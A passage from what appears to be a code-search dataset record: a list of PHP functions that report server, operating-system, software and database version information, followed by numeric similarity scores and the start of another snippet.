$this->get(self::_INFO);\n }", "function getSoftware($hostname) {\n\t\tset_time_limit(300);\n\t\texec(escapeshellcmd(\"wmic /node:$hostname product get name\"), $output, $result);\n\t\treturn array($output, $result);\n\t}", "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 2;\n $info['locked'] = false;\n return $info;\n }", "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 2;\n $info['locked'] = false;\n return $info;\n }", "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 2;\n $info['locked'] = false;\n return $info;\n }", "function info()\n\t{\n\t\t$info=array();\n\t\t$info['author']='Chris Graham';\n\t\t$info['organisation']='ocProducts';\n\t\t$info['hacked_by']=NULL;\n\t\t$info['hack_version']=NULL;\n\t\t$info['version']=3;\n\t\t$info['locked']=true;\n\t\t$info['update_require_upgrade']=1;\n\t\treturn $info;\n\t}", "public static function create_server_info_array() {\n\t $result = array();\n\t $result[ 'php'][ 'os' ] = PHP_OS;\n\t $result[ 'php'][ 'uname' ] = array(\n\t\t'r' => php_uname( 'r' ),\n\t\t'v' => php_uname( 'v' ),\n\t\t'm' => php_uname( 'm' )\n\t );\n\n\t if ( ! stristr( PHP_OS, 'win' ) ) {\n\n\t\tif ( is_readable( self::PROC_MEMINFO ) ) {\n//MemTotal: 7852640 kB\n \t $stats = @file_get_contents( self::PROC_MEMINFO );\n \t if ( $stats !== false ) {\n\n \t$stats = explode( PHP_EOL, $stats );\n \tforeach ( $stats as $stat_line ) {\n \t $stat_array = explode( ':', trim( $stat_line) );\n \t if ( count( $stat_array ) == 2 ) {\n\t\t\t\t$tag = strtolower( trim( $stat_array[ 0 ] ) );\n\t\t\t\tswitch ( $tag ) {\n\t\t\t\t case 'memtotal' :\n\t\t\t\t\t$result[ 'mem' ][ 'total' ] = trim( $stat_array[ 1 ] );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n \t }\n\t\t\t if ( isset( $result[ 'mem' ][ 'total' ] ) ) {\n\t\t\t\tbreak;\n\t\t\t }\n \t}\n\t\t\tunset( $stats, $stat_array, $stat_line );\n \t }\n \t\t}\n\n\t\tif ( is_readable( self::PROC_CPUINFO ) ) {\n//vendor_id : GenuineIntel\n//cpu family : 6\n//model : 58\n//model name : Intel(R) Core(TM) i5-3550S CPU @ 3.00GHz\n//cpu cores : 4\n//bogomips : 5986.62\n \t $stats = @file_get_contents( self::PROC_CPUINFO );\n \t if ( $stats !== false ) {\n\n \t$stats = explode( PHP_EOL, $stats );\n \tforeach ( $stats as $stat_line ) {\n \t $stat_array = explode( ':', trim( $stat_line) );\n \t if ( count( $stat_array ) == 2 ) {\n\t\t\t\t$tag = strtolower( trim( $stat_array[ 0 ] ) );\n\t\t\t\tswitch ( $tag ) {\n\t\t\t\t case 'vendor_id' :\n\t\t\t\t\t$result[ 'cpu' ][ 'vendor_id' ] = trim( $stat_array[ 1 ] );\n\t\t\t\t\tbreak;\n\t\t\t\t case 'cpu family' :\n\t\t\t\t\t$result[ 'cpu' ][ 'family' ] = trim( $stat_array[ 1 ] );\n\t\t\t\t\tbreak;\n\t\t\t\t case 'model' :\n\t\t\t\t\t$result[ 'cpu' ][ 'model' ] = trim( $stat_array[ 1 ] );\n\t\t\t\t\tbreak;\n\t\t\t\t case 'model name' :\n\t\t\t\t\t$result[ 'cpu' ][ 'model_name' ] = trim( $stat_array[ 1 ] );\n\t\t\t\t\tbreak;\n\t\t\t\t case 'cpu cores' :\n\t\t\t\t\t$result[ 'cpu' ][ 'cores' ] = trim( $stat_array[ 1 ] );\n\t\t\t\t\tbreak;\n\t\t\t\t case 'bogomips' :\n\t\t\t\t\t$result[ 'cpu' ][ 'bogomips' ] = trim( $stat_array[ 1 ] );\n\t\t\t\t\tbreak;\n\t\t\t\t}\n \t }\n\t\t\t if ( isset( $result[ 'cpu' ][ 'vendor_id' ] ) && isset( $result[ 'cpu' ][ 'family' ] ) && isset( $result[ 'cpu' ][ 'model' ] ) && isset( $result[ 'cpu' ][ 'model_name' ] ) && isset( $result[ 'cpu' ][ 'cores' ] ) && isset( $result[ 'cpu' ][ 'bogomips' ] ) ) {\n\t\t\t\tbreak;\n\t\t\t }\n \t}\n\t\t\tunset( $stats, $stat_array, $stat_line );\n \t }\n \t\t}\n\t }\n\t return( $result );\n\t}", "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 15;\n $info['locked'] = false;\n return $info;\n }", "private function getMachineInfo()\n {\n $info = array();\n $info['hostname'] = php_uname('n');\n\n if (empty($info['hostname'])) {\n $this->logger->critical('Unable to identify machine hostname', array($this));\n throw new RuntimeException('Unable to identify machine hostname');\n }\n $info['processId'] = $this->procesId;\n $info['time'] = (int) floor(microtime(true) * 1000);\n\n return $info;\n }", "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 2;\n $info['locked'] = false;\n $info['parameters'] = array('param', 'limit', 'hot', 'date_key', 'username_key', 'title', 'check');\n return $info;\n }", "public static function getCurrentPlatform() {\n\t\t$version = new JVersion();\n\t\t$filter = &JFilterInput::getInstance();\n\t\t$name = strtolower($filter->clean($version->PRODUCT, 'cmd'));\n\t\treturn Array('name'=>$name, 'version'=>$version->getShortVersion());\n\t}", "protected function emitGetSystemInformation() {}", "function host_firmware_version() {\n\tglobal $g;\n\n\t$os_version = trim(substr(php_uname(\"r\"), 0, strpos(php_uname(\"r\"), '-')));\n\n\treturn array(\n\t\t\"firmware\" => array(\"version\" => g_get('product_version')),\n\t\t\"kernel\" => array(\"version\" => $os_version),\n\t\t\"base\" => array(\"version\" => $os_version),\n\t\t\"platform\" => g_get('product_label'),\n\t\t\"config_version\" => config_get_path('version')\n\t);\n}", "static public function grabOsInfos() {\n $distro = false;\n if (file_exists('/etc/redhat-release')) {\n $distro = preg_replace('/\\s+$/S', '', file_get_contents('/etc/redhat-release'));\n }\n $os = [\n 'family' => php_uname('s'),\n 'distribution' => ($distro ?: ''),\n 'version' => php_uname('r')\n ];\n return $os;\n }", "private function osx_system_version () {\n\t\tif ($handle = popen(\"/usr/bin/sw_vers\", \"r\")) {\n\t\t while (!feof($handle)) {\n\t\t\t\t$buffer = fgets($handle, 1024);\n\t\t\t\tif (eregi(\"^ProductVersion:[[:space:]]*(.*)\", $buffer, $captures)) {\n\t\t\t\t\t$parts = explode(\".\", $captures[1]);\n\t\t\t\t\treturn $parts[0].$parts[1];\n\t\t\t\t}\n\t\t\t}\n\t\t\tpclose($handle);\n\t\t}\n\n\t\t// Return 10.0 which is the olden system we can run on\n\t\treturn \"100\";\n\t}", "public static function getSoftwareName()\n\t\t{\n\t\t\treturn 'Wordpress 3.9.1 en WooCommerce 3.0.0+';\n\t\t}", "public function info() {\n\t\t\n\t\t$data = array(\n\t\t\t'Driver'\t\t\t=> 'DRIVER_NAME',\n\t\t\t'Client version'\t=> 'CLIENT_VERSION',\n\t\t\t'Server version'\t=> 'SERVER_VERSION',\n\t\t\t'Connection'\t\t=> 'CONNECTION_STATUS'\n\t\t);\n\n\t\tforeach ($data as $key => $value) {\n\t\t\t\n\t\t\t$info[$key] = $this->pdo->getAttribute(constant('PDO::ATTR_' . $value));\n\t\t\t\n\t\t}\n\n\t\treturn $info;\n\t\t\n\t}", "public function getInfos(){\n\t\treturn array(\n\t\t\t\"serviceDescription\" => \"This is the Comunic API Server.\",\n\t\t\t\"clientURL\" => \"https://communiquons.org/\",\n\t\t);\n\t}", "public function getVersion()\n {\n if ( ! isset($this->dbh) || ! $this->dbh ) {\n $this->connect($this->dbuser, $this->dbpassword, $this->dbhost, $this->dbport);\n if($this->select($this->dbname,$this->encoding) == false){\n throw new \\Exception(\"dose connect mysql failed.\");\n }\n }\n\n return $this->dbh->get_server_info();\n }", "public function getInfo()\n {\n return array(\n 'version' => $this->getVersion(),\n 'autor' => 'VR pay eCommerce',\n 'copyright' => 'Copyright (c) 2017, VR pay eCommerce',\n 'label' => $this->getLabel(),\n 'supplier' => 'VR pay eCommerce',\n 'description' => 'VR pay eCommerce plugin v'.$this->getVersion(),\n 'support' => '',\n 'link' => 'http://www.vr-epay.info/'\n );\n }", "public function HTTPD_version()\n\t{\n\t\tpreg_match('/\\w+\\/[.0-9]+/i', $_SERVER['SERVER_SOFTWARE'], $matches);\n\t\tif (isset($matches[0])) {\n\t\t\treturn $matches[0];\n\t\t} else {\n\t\t\treturn 'Unknown Webserver';\n\t\t}\n\t}", "public function getVersion() {\r\n $version = $this->QuerySysStatus(1);\r\n return $version['ver-key'];\r\n }", "function ShowSingleSoftware()\n{\n\tglobal $sw_version, $build_crc;\n\t\n\tget_all_packages();\n\tclassify_panic_packages();\n\n\tshow_table_title( \"$sw_version (Build CRC: $build_crc)\" );\n\n\tshow_panic_group();\t\t\n\n\t//show_panic_packages();\t\t\n}", "function sysinfo () {\n // $this->cpu_regexp = \"CPU: (.*) \\((.*)-MHz (.*)\\)\";\n // $this->scsi_regexp1 = \"^(.*): <(.*)> .*SCSI.*device\";\n $this->cpu_regexp2 = \"/(.*) ([0-9]+) ([0-9]+) ([0-9]+) ([0-9]+)/\";\n }", "public function getClientInfo(){\n return mysql_get_client_info();\n }", "public function getServersInfo() {\n $info = array();\n\n foreach ($this->getServers() as $server) {\n $info[] = $this->getServerInfo($server);\n }\n\n return $info;\n }", "public function getSystem()\n {\n return $this->system;\n }", "public function getSystem()\n {\n return $this->system;\n }", "function getServerVersion() {\r\n\t\t\t$this->connect();\r\n\t\t\treturn 'Oracle ' . ociserverversion( $this->_conn );\r\n\t\t}", "static function plInfo()\n {\n return array(\n 'plShortName' => _('Services'),\n 'plDescription' => _('Server services'),\n 'plSelfModify' => FALSE,\n 'plObjectType' => array('server'),\n 'plPrority' => 5,\n\n 'plProvidedAcls' => array()\n );\n }", "function sysName(){\n\tglobal $driver;\n\t$sql\t=\t\"SELECT systemname FROM settings\"; //Retrieve the system name\n\tif($appname\t= $driver->perform_request($sql)):\n\t\t$row\t= $driver->load_data($appname);\n\t\t$sysname\t=\t(!empty($row['systemname']))?($row['systemname']):\" Microfinance \";//Retrieved system name\n\telse:\n\t\t\tdie('<p class=\"error\">ERROR Retrieving Application name.<br/>'.mysql_error().'</p>');\n\tendif;\n\treturn $sysname; //The application name\n}", "public function getSystem() {\n\t\treturn $this->system;\n\t}", "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 2;\n $info['locked'] = false;\n $info['parameters'] = array('username', 'period', 'display', 'title', 'width', 'height');\n return $info;\n }", "public function getVersion()\n {\n return php_uname('v');\n }", "public function getServerVersion() {}", "public function getServerVersion() {}", "public function getSystem() {\n return $this->system;\n }", "public function info()\n {\n $info = array();\n $info['author'] = 'Chris Graham';\n $info['organisation'] = 'ocProducts';\n $info['hacked_by'] = null;\n $info['hack_version'] = null;\n $info['version'] = 2;\n $info['locked'] = false;\n $info['parameters'] = array('param', 'zone', 'give_context', 'include_breadcrumbs', 'guid');\n return $info;\n }", "public function getInfo()\n {\n exec(\"rpm -qi {$this->packageName}\", $rawInfo);\n\n $rawInfo = implode(\"\\n\", $rawInfo);\n\n $parser = new Parser;\n\n return $parser->parse($rawInfo);\n }", "public function getGlobalHostInfo()\n {\n return $this->sendServerCommand(\"hostinfo\");\n }", "public static function server_dev() {\n\t\treturn SERVER_DEV;\n\t}", "public static function info()\n {\n $database = Config::get('database.database');\n $host = Config::get('database.host');\n $username = Config::get('database.username');\n //\n return \"\\n\\n-- Database : $database\\n-- Host : $host\\n-- User : $username\\n\";\n }", "function info()\n\t{\n\t\t$info=array();\n\t\t$info['author']='Chris Graham';\n\t\t$info['organisation']='ocProducts';\n\t\t$info['hacked_by']=NULL;\n\t\t$info['hack_version']=NULL;\n\t\t$info['version']=2;\n\t\t$info['locked']=false;\n\t\treturn $info;\n\t}", "function info()\n\t{\n\t\t$info=array();\n\t\t$info['author']='Chris Graham';\n\t\t$info['organisation']='ocProducts';\n\t\t$info['hacked_by']=NULL;\n\t\t$info['hack_version']=NULL;\n\t\t$info['version']=2;\n\t\t$info['locked']=false;\n\t\treturn $info;\n\t}", "function info()\n\t{\n\t\t$info=array();\n\t\t$info['author']='Chris Graham';\n\t\t$info['organisation']='ocProducts';\n\t\t$info['hacked_by']=NULL;\n\t\t$info['hack_version']=NULL;\n\t\t$info['version']=2;\n\t\t$info['locked']=false;\n\t\treturn $info;\n\t}", "public function getInfo()\n {\n return array(\n 'version' => $this->getVersion(),\n 'label' => $this->getLabel(),\n 'author' => 'Sören Oehding',\n 'supplier' => 'SO_DSGN',\n 'description' => 'Einfaches Bilder Widget für die Einkaufswelten',\n 'support' => 'Shopware Forum',\n 'link' => 'https://so-dsgn.de'\n );\n }", "function ShowAllSoftware()\n{\n\tget_all_software();\n\n\t//show_table_title( \"Click a Build CRC to see panic data\" );\n\t//show_all_software();\t\t\n\n\tshow_table_title( \"Official Release (Click a Build CRC to see panic data)\" );\n\tshow_all_official_software();\t\t\n\n\tshow_table_title( \"Unofficial Release (Click a Build CRC to see panic data)\" );\n\tshow_all_test_software();\t\t\n}" ]
[ "0.82948077", "0.71080875", "0.70880634", "0.6942562", "0.69406426", "0.693396", "0.68584883", "0.6842566", "0.6775766", "0.67655456", "0.6717535", "0.6596546", "0.65899944", "0.6583866", "0.6542156", "0.6489403", "0.64702284", "0.6460313", "0.64597917", "0.64231384", "0.6380949", "0.6301337", "0.62665486", "0.623559", "0.6202075", "0.61730963", "0.6137153", "0.6119298", "0.61091584", "0.6102306", "0.6089457", "0.6071557", "0.6065316", "0.6057136", "0.6052505", "0.60476214", "0.5979715", "0.5966239", "0.5928896", "0.5902708", "0.590258", "0.58961135", "0.5888349", "0.58842444", "0.58839154", "0.5870057", "0.5868643", "0.5868571", "0.5861266", "0.58493984", "0.58493984", "0.58493984", "0.58493984", "0.58493984", "0.5836524", "0.5834962", "0.5834962", "0.5834962", "0.5831973", "0.5825995", "0.58225065", "0.5820228", "0.5813668", "0.5811494", "0.5809842", "0.5795896", "0.5786182", "0.578612", "0.5785817", "0.57619274", "0.57583195", "0.5749294", "0.57470125", "0.57200396", "0.5716828", "0.5715445", "0.57152784", "0.5711263", "0.5706688", "0.5701311", "0.5701311", "0.5698691", "0.5694468", "0.56940943", "0.567402", "0.56703156", "0.5670068", "0.56675744", "0.56668353", "0.56656307", "0.5657812", "0.56535965", "0.5643881", "0.56347823", "0.5631867", "0.5625968", "0.5625968", "0.5625968", "0.5622615", "0.5618277" ]
0.8412379
0
Returns information for listing on the Server Status page.
public static function getServerStatusInfo() { return array( MHTTPD::getSoftwareInfo(), date('r', MHTTPD::$info['launched']), MHTTPD::getStatCount('up', true), MHTTPD::getStatCount('down', true), MHTTPD::getClientsSummary(), MFCGI::getScoreboard(true), MHTTPD::getAbortedSummary(), MHTTPD::getHandlers(true), MHTTPD::getSignature(), ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function info() {\n return self::instance()->getClient()->get('api/status/info');\n }", "public function index()\n {\n try {\n $processStatuses = ProcessStatus::get();\n return $this->showAll($processStatuses);\n } catch (Exception $ex) {\n return $this->errorResponse(\"Process statuses can not be show.\", Response::HTTP_INTERNAL_SERVER_ERROR);\n }\n }", "public function index()\n {\n\n $statusRepo = new StatusRepository();\n $out = $statusRepo->getStatusAll();\n return $this->respondWithData($out);\n }", "abstract protected function getStatusesInfos();", "public function getServerInfo()\n {\n return $this->sendServerCommand(\"serverinfo\");\n }", "public function listsstatusget()\r\n {\r\n $response = Status::all();\r\n return response()->json($response,200);\r\n }", "public function getServerStatus()\n {\n global $app_strings, $sugar_config;\n $isValid = false;\n $displayText = \"\";\n try {\n $response = $this->_client->request('', \\Elastica\\Request::GET);\n if ($response->isOk()) {\n $isValid = true;\n if (!empty($GLOBALS['app_strings'])) {\n $displayText = $app_strings['LBL_EMAIL_SUCCESS'];\n } else {\n //Fix a notice error during install when we verify the Elastic Search settings\n $displayText = 'Success';\n }\n } else {\n $displayText = $app_strings['ERR_ELASTIC_TEST_FAILED'];\n }\n } catch (Exception $e) {\n $this->reportException(\"Unable to get server status\", $e);\n $displayText = $e->getMessage();\n }\n return array('valid' => $isValid, 'status' => $displayText);\n }", "public function lists()\n {\n return $this->statuses;\n }", "public function status() {\r\n\t\treturn self::request(self::HTTP_GET, 'status');\r\n\t}", "public function status()\n {\n $response = $this->call(Request::METHOD_GET, '/api/v1/status');\n return $response->getApiData();\n }", "public static function statuses()\n {\n return Lastus::statuses(static::class);\n }", "public function index()\n {\n $this->authorize('viewAny', Status::class);\n return Status::all();\n }", "public function index()\n {\n $this->authorize(StatusesPolicy::PERMISSION_LIST);\n\n $statuses = BackupStatuses::all();\n\n $this->setTitle($title = trans('backups::statuses.titles.monitor-statuses-list'));\n $this->addBreadcrumb($title);\n\n return $this->view('admin.statuses.index', compact('statuses'));\n }", "public function listAction() \n {\n $model = new Application_Model_Mapper_Server($vars);\n $result = $model->getMlsDetails();\n $data = array();\n $result = json_encode($result);\n $this->view->assign('result', $result);\n $this->_helper->viewRenderer('index');\n }", "public function getStatuses()\n {\n $endpoint = $this->endpoints['getStatuses'];\n return $this->sendRequest($endpoint['method'], $endpoint['uri']);\n }", "public function getStatusesList(){\n return $this->_get(1);\n }", "public function status() {\n\t\treturn self::STATUS_DESCRIPTIONS[$this->oehhstat];\n\t}", "public function getServerInfoCount()\n {\n return $this->count(self::_SERVER_INFO);\n }", "function getDetailedStatus() ;", "public function GetServerStatus()\r\n {\r\n $this->checkDatabaseManager();\r\n return $this->_DatabaseHandler->stat();\r\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Status::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "function monitor_list_statuses() {\n $query = \"select distinct(`wf_status`) from `\".GALAXIA_TABLE_PREFIX.\"instances`\";\n $result = $this->query($query);\n $ret = Array();\n while($res = $result->fetchRow()) {\n $ret[] = $res['wf_status'];\n }\n return $ret;\n }", "public function getHealthStatusList() {\n return $this->_get(8);\n }", "function getServerInfo();", "static public function getServerStatus() {\n\t\treturn (int)self::$serverstatus;\n\t}", "public function index()\n {\n // TODO : faire fonctionner avec le auth::id\n return response($this->status->all()->jsonSerialize(), Response::HTTP_OK);\n }", "public function getStatuses() {\n\t}", "public function status()\n {\n return array_map(\n function (array $status) {\n return Status::fromArray($status);\n },\n $this->client->get('status')\n );\n }", "public function show_list()\n {\n $this->output('Workstatus/v_workstatus_ajax');\n }", "public function list() : Response\n {\n return $this->client->get(new Route([static::STATUSES_ROUTE]));\n }", "private function stats($status = array())\n\t{\n\t\t$html = \"<table border=\\\"1\\\">\";\n\t\t$html .= \"<tr><td>Memcache Server version:</td><td>$status[version]</td></tr>\";\n\t\t$html .= \"<tr><td>Process id of this server process </td><td>$status[pid]</td></tr>\";\n\t\t$html .= \"<tr><td>Number of seconds this server has been running </td><td>$status[uptime]</td></tr>\";\n\t\t$html .= \"<tr><td>Accumulated user time for this process </td><td>$status[rusage_user] seconds</td></tr>\";\n\t\t$html .= \"<tr><td>Accumulated system time for this process </td><td>$status[rusage_system] seconds</td></tr>\";\n\t\t$html .= \"<tr><td>Total number of items stored by this server ever since it started </td><td>$status[total_items]</td></tr>\";\n\t\t$html .= \"<tr><td>Number of open connections </td><td>$status[curr_connections]</td></tr>\";\n\t\t$html .= \"<tr><td>Total number of connections opened since the server started running </td><td>$status[total_connections]</td></tr>\";\n\t\t$html .= \"<tr><td>Number of connection structures allocated by the server </td><td>$status[connection_structures]</td></tr>\";\n\t\t$html .= \"<tr><td>Cumulative number of retrieval requests </td><td>$status[cmd_get]</td></tr>\";\n\t\t$html .= \"<tr><td>Cumulative number of storage requests </td><td>$status[cmd_set]</td></tr>\";\n\t\t$percCacheHit = ((real)$status[\"get_hits\"] / (real)$status[\"cmd_get\"] * 100);\n\t\t$percCacheHit = round($percCacheHit, 3);\n\t\t$percCacheMiss = 100 - $percCacheHit;\n\t\t$html .= \"<tr><td>Number of keys that have been requested and found present </td><td>$status[get_hits] ($percCacheHit%)</td></tr>\";\n\t\t$html .= \"<tr><td>Number of items that have been requested and not found </td><td>$status[get_misses] ($percCacheMiss%)</td></tr>\";\n\t\t$MBRead = (real)$status[\"bytes_read\"] / (1024 * 1024);\n\t\t$html .= \"<tr><td>Total number of bytes read by this server from network </td><td>$MBRead Mega Bytes</td></tr>\";\n\t\t$MBWrite = (real)$status[\"bytes_written\"] / (1024 * 1024);\n\t\t$html .= \"<tr><td>Total number of bytes sent by this server to network </td><td>$MBWrite Mega Bytes</td></tr>\";\n\t\t$MBSize = (real)$status[\"limit_maxbytes\"] / (1024 * 1024);\n\t\t$html .= \"<tr><td>Number of bytes this server is allowed to use for storage.</td><td>$MBSize Mega Bytes</td></tr>\";\n\t\t$html .= \"<tr><td>Number of valid items removed from cache to free memory for new items.</td><td>$status[evictions]</td></tr>\";\n\t\t$html .= \"</table>\";\n\t\treturn $html;\n\t}", "public function getorderStatus()\n\t\t{\n\t\t\t$this->layout = \"index\";\n\t\t\t$this->set('title', 'Status (Linnworks API)');\n\n\t\t}", "public function index()\n {\n $this->authorize('viewAny', Status::class);\n\n $status = Status::all();\n\n return new StatusCollection($status);\n\n }", "static public function getStatusList() {\n return array(\n self::STATUS_SHOW => Yii::t('main', 'Show'),\n self::STATUS_HIDE => Yii::t('main', 'Hide'),\n );\n }", "static public function getStatusList() {\n return array(\n self::STATUS_SHOW => Yii::t('main', 'Show'),\n self::STATUS_HIDE => Yii::t('main', 'Hide'),\n );\n }", "public function index()\n {\n return Session::get('status');\n }", "public function getServerList() {}", "public function index()\n {\n $attstatuses = AttStatus::getAllAttStatus();\n return AttStatusResource::collection($attstatuses);\n }", "abstract public static function getStatuses();", "public function index()\n {\n $data = CallStatus::all();\n\n return $this->showAll($data,CallStatus::class);\n }", "function serverInfo() {\n\t}", "public function status() {\n\t\t$status = \"unknown\";\n\t\t// Get status summary of monitored services.\n\t\t$cmd = new \\OMV\\System\\Process([\"monit\", \"-B\", \"summary\"]);\n\t\t$cmd->setRedirect2to1();\n\t\t$cmd->execute($output);\n\t\t// Parse the command output.\n\t\t// Example:\n\t\t// Monit 5.20.0 uptime: 6m\n\t\t// Service Name Status Type\n\t\t// omv4stretch Running System\n\t\t// rrdcached Running Process\n\t\t// php5-fpm Execution failed | Does... Process\n\t\t// nginx Running Process\n\t\t// omv-engined Not monitored Process\n\t\t// collectd Execution failed | Does... Process\n\t\t// rootfs Accessible Filesystem\n\t\tforeach ($output as $outputk => $outputv) {\n\t\t\t$regex = '/^\\s+([\\S]+)\\s+(.+)\\s+Process$/i';\n\t\t\tif (1 !== preg_match($regex, $outputv, $matches))\n\t\t\t\tcontinue;\n\t\t\tif ($matches[1] !== $this->name)\n\t\t\t\tcontinue;\n\t\t\t$status = trim($matches[2]);\n\t\t\tbreak;\n\t\t}\n\t\treturn mb_strtolower($status);\n\t}", "public function statusAction()\n {\n // enforce permissions.\n $this->acl->check('content', 'manage');\n\n // set context\n $this->contextSwitch->initContext('json');\n\n $processId = $this->getRequest()->getParam('processId');\n $statusFile = sys_get_temp_dir() . '/' . static::STATUS_FILE . $processId;\n\n if (!file_exists($statusFile) ) {\n $status = array(\n 'label' => 'no status',\n 'message' => 'No current status file.',\n 'done' => true\n );\n $this->view->status = $status;\n return;\n }\n\n $this->view->status = $this->_readStatusFile($processId);\n }", "public function status() {\n\t\treturn self::STATUS_DESCRIPTIONS[$this->status];\n\t}", "public function index()\n {\n $pregnancyStatuses = PregnancyStatus::paginate();\n\n return PregnancyStatusResource::collection($pregnancyStatuses);\n }", "public function index()\n {\n $statuses = Status::withCount('tickets')->get();\n\n if (LaravelVersion::min('5.3.0')) {\n $statuses_list = $statuses->pluck('name', 'id')->toArray();\n } else {\n $statuses_list = $statuses->lists('name', 'id')->toArray();\n }\n\n return view('panichd::admin.status.index', compact('statuses', 'statuses_list'));\n }", "function get_page_statuses()\n {\n }", "public function getResponseInfo()\n\t\t{\n\t\t\treturn $this->getHeader( \"statusinfo\" );\n\t\t}", "public function index()\n {\n $statuses = $this->status->all();\n\n return View::make('statuses.index')\n ->with('statuses', $statuses);\n }", "public function index()\n {\n return view('statuses.index', ['statuses' => \\App\\Status::orderBy('id')->get()]);\n }", "public function index()\n\t{\n\t\t$issuestatuses = IssueStatus::all();\n\t\treturn $issuestatuses;\n\t}", "public function index()\n\t{\n\t\t$operation = \"get\";\n\t\t$success = true;\n\t\t$errors = [];\n\n\t\t$user = Auth::user();\n\n\t\t$data = Status::findByUserId($user->id);\n\n\t\treturn compact('operation', 'success', 'data', 'errors');\n\t}", "public function getDetailedSystemStatus() {}", "public static function getStatusList()\n {\n return BaseServiceDelivery::getStatusList();\n }", "public function getStatus(){\n $this->client->request('GET','/session/status');\n $status_message = $this->getJsonResponse();\n return $status_message;\n }", "function getServerInfo() {\n $serverInfo = mysql_get_server_info();\n return $serverInfo;\n }", "public function index()\n {\n return view('servers.list',[\n 'servers' => $this->repository->getServersForAuth()\n ]);\n }", "public function getServerInfo(){\n return mysql_get_server_info($this->connection);\n }", "public function index()\n {\n return Status::paginate(1000);\n }", "public function actionIndex()\n {\n\t\treturn $this->render('inventorystatus', ['model' => $this->genInventoryStatus(26)]);\n }", "public function serverList () {\n $servers = Server::all();\n return view('server/index', ['servers' => $servers]);\n }", "public function statusAction()\n {\n /**\n * Get Request & verify ConsoleRequest\n */\n $request = $this->getRequest();\n\n if (!$request instanceof ConsoleRequest) {\n throw new \\RuntimeException(self::NOTCONSOLE);\n }\n\n\n /**\n * Output header\n */\n $output = $this->header;\n $output .= \"\\nApplication version status:\\n\\n\";\n\n\n /**\n * Loop Managers\n */\n $managers = $this->getConfig('managers');\n foreach ($managers as $manager) {\n $class = new $manager($this->getServiceLocator());\n $output .= $class->getStatus().\"\\n\";\n }\n\n return $output;\n }", "public function getDetailedStatus() {}", "public function GetServerInfo()\r\n {\r\n $this->checkDatabaseManager();\r\n return $this->_DatabaseHandler->server_info; \r\n }", "public function GetStatus()\n\t{\n\t\t// Demnach ist der Status in IPS der einzige der vorliegt.\t\t\n\t}", "public function index()\n {\n $columns = GameServerList::getColumns();\n $return = [];\n\n foreach ($columns as $val) {\n if (in_array($val['field'], $this->filter)) {\n $return[] = $val;\n }\n }\n $return[] = [\n 'field' => 'operation',\n 'title' => '操作',\n 'align' => 'center',\n ];\n\n return view(\n 'admin.games.server',\n [\n 'headers' => json_encode($return),\n ]\n );\n }", "public static function getStatusesList()\n {\n $sql = 'SELECT id AS value, display_name AS text '\n . 'FROM location_status '\n . 'WHERE active = 1';\n $command = Yii::app()->db->createCommand($sql);\n return $command->queryAll(true);\n }", "public function status()\n {\n return $this->doRequest('GET', 'check-connection-session', []);\n }", "function listOrderStatus() {\n\t\tglobal $HTML;\n\t\tglobal $page;\n\n\t\t$_ = '';\n\n\t\t// only show orders if user has access\n\t\tif($page->validatePath(\"/janitor/admin/shop/order/list\")) {\n\n\t\t\tinclude_once(\"classes/shop/supershop.class.php\");\n\t\t\t$model = new SuperShop();\n\n\t\t\t$_ .= '<div class=\"orders\">';\n\t\t\t$_ .= '<h2>Order status</h2>';\n\n\n\t\t\tif($model->order_statuses) {\n\t\t\t\t$_ .= '<ul class=\"orders\">';\n\t\t\t\tforeach($model->order_statuses as $order_status => $order_status_name) {\n\t\t\t\t\t$_ .= '<li class=\"'.superNormalize($order_status_name).'\">';\n\t\t\t\t\t$_ .= '<h3>';\n\t\t\t\t\t$_ .= '<a href=\"/janitor/admin/shop/order/list/\"'.$order_status.'\">'.$order_status_name.'</a> ';\n\t\t\t\t\t$_ .= '<span class=\"count\">'.$model->getOrderCount(array(\"status\" => $order_status)).'</span>';\n\t\t\t\t\t$_ .= '<h3>';\n\n\t\t\t\t\t$_ .= '</li>';\n\t\t\t\t}\n\t\t\t\t$_ .= '</ul>';\n\t\t\t}\n\n\t\t\t$_ .= '</div>';\n\t\t}\n\n\t\treturn $_;\n\t}", "public function getServerInfo() {\n\t\treturn $this->getServerVersion();\n\t}", "public function getStatusList()\n {\n $option = '';\n $query = $this->db->query(\"SELECT * FROM status\");\n while ($rdata = mysqli_fetch_assoc($query)) {\n $option .= '<option value=\"' . $rdata['idStatus'] . '\">' . mb_strtoupper(\n $rdata['nombreStatus']\n ) . '</option>';\n }\n\n return $option;\n }", "public function index()\n {\n $Statusing = new Status;\n\n $Status = $Statusing->all();\n \n return $Status;\n \n }", "public function overview()\n {\n /** @var PingService $pinger */\n $pinger = $this->app['extend.ping'];\n // Ping the extensions server to confirm connection\n $this->app['extend.online'] = $pinger->ping(true);\n\n try {\n return $this->render('@bolt/extend/extend.twig', $this->getRenderContext());\n } catch (\\Exception $e) {\n return $this->getJsonException($e);\n }\n }", "function ServerInfo() {}", "public function apiStatus(): string\n {\n return $this->request('apiStatus', 'GET');\n }", "function ajaxQueryServiceStatuses()\n {\n $suburb = $_POST[\"serviceStatusSuburb\"];\n if (is_null($suburb)) {\n $suburb = \"\";\n }\n\n // only 'Online' accessible.\n $status = 3;\n $nos = 